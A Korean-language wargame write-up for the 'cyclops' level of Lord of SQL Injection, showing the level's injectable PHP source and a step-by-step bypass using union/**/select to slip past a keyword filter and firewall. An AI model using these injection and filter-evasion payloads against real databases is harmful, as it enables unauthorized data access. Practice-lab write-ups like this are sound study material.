wargame/Lord Of SQL Injection

[LOS] cyclops

LimeLee 2019. 5. 10. 14:12

소스코드 분석

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

1. if(($result\['id'\] === "first") && ($result\['pw'\] === "second")) solve("cyclops");//must use union select > union select를 할 필요가 있음

 

문제풀이

?id='<@=1 union select

이전 문제에서 계속 사용한 우회구문('<@=1)을 이용하여 우회를 했지만 union select라는 문자열에서 방화벽에 걸리고 만다.

 

union select에 대한 우회는 주석을 통해 해결했다.

?id='<@=1 union/**/select

위와같은 페이로드를 요청할 시 403 Forbidden이 뜨지 않는 것을 확인 가능하다.

 

union select까지 우회했다면 문제의 목표를 달성해 주면 된다. 페이로드는 아래와 같다.

?id='<@=1 union/**/select 'first','second'-- -

'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] manticore  (0) 2019.07.17
[LOS] chupacabra  (0) 2019.07.16
[LOS] godzilla  (0) 2019.05.10
[LOS] death  (0) 2019.05.10
[LOS] cthulhu  (0) 2019.05.10